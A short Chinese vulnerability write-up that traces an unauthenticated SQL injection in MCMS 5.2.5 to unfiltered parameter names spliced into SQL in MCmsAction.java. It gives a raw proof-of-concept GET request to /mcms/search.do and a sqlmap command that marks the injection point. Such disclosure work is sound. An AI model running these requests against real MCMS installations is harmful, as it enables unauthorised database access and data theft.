0x01 寻找可疑点
寻找到一处可疑点,位于net/mingsoft/cms/action/web/MCmsAction.java
文件
往上寻找filed
,发现是传入的参数
由于参数名没有过滤直接拼接了字符串,那么可能会存在漏洞,我们接着往下寻找数据链
进入到方法内部查看做了什么,并打上断点,开始跟数据
发现此块有数据库调用
0x02 尝试注入
接下来我们尝试注入,看到该文件的net/mingsoft/cms/action/web/MCmsAction.java
的最上面类定义处,可以知道路由为host:port/mcms
,再加上要调用的方法,可得路由为host:port/mcms/search.do
,接下来尝试注入
GET /mcms/search.do?1'=0000 HTTP/1.1
User-Agent: PostmanRuntime/7.29.0
Accept: */*
Postman-Token: 315bc447-c977-4eb8-8b99-ae231e7a2b08
Host: localhost:8080
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=96B0978724C81C34A99F09541FA893D4
接下来使用sqlmap,由于注入点在参数名,需要用*
指定注入点
sqlmap -u "http://localhost:8080/mcms/search.do*=1"
因此,MCMS 5.2.5存在GET型SQL注入,无需认证,可以获取数据库信息,利用简单。
产生原因是使用了不安全的SQL语句拼接